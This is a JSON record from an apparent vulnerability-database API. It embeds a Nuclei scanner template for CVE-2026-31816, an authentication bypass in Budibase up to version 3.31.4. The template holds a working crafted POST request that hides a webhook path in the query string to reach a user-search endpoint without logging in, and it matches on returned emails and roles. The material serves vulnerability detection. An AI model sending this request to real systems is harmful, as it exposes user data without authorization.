{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-31816/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-31816/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-31816/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-31816/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-31816/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-31816"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-31816"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-31816.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-31816\n\ninfo:\n  name: Budibase - Authentication Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    Budibase <= 3.31.4 contains an authentication bypass caused by unanchored regex in authorized() middleware matching webhook path patterns in query strings, letting unauthenticated remote attackers access any server-side API endpoint, exploit requires crafted request with webhook pattern in URL.\n  impact: |\n    Unauthenticated remote attackers can bypass all authentication and authorization to access any server-side API endpoint.\n  remediation: |\n    Update to a version later than 3.31.4 or latest available version.\n  reference:\n    - https://github.com/Budibase/budibase/security/advisories/GHSA-gw94-hprh-4wj8\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-31816\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2026-31816\n    epss-score: 0.16683\n    epss-percentile: 0.97038\n    cwe-id: CWE-74\n  metadata:\n    max-request: 1\n    verified: true\n  tags: cve,cve2026,budibase,auth-bypass,vuln,unauthenticated,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /api/ta_users/search?/webhooks/trigger HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        x-budibase-app-id: {{app_id}}\n\n        {\"query\":{},\"limit\":1000}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"email\", \"roleId\", \"status\")'\n        condition: and\n# digest: 4b0a00483046022100f4e23fd265a39dcdeeedc164ab5ba5e755327f7db5d0a1a53a7d979d82b402f2022100db636d5c713dc82da88a2bb8a0a9f7b59ecb72a6fecc1f9f1ce7fec440ebdee9:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-31816"
}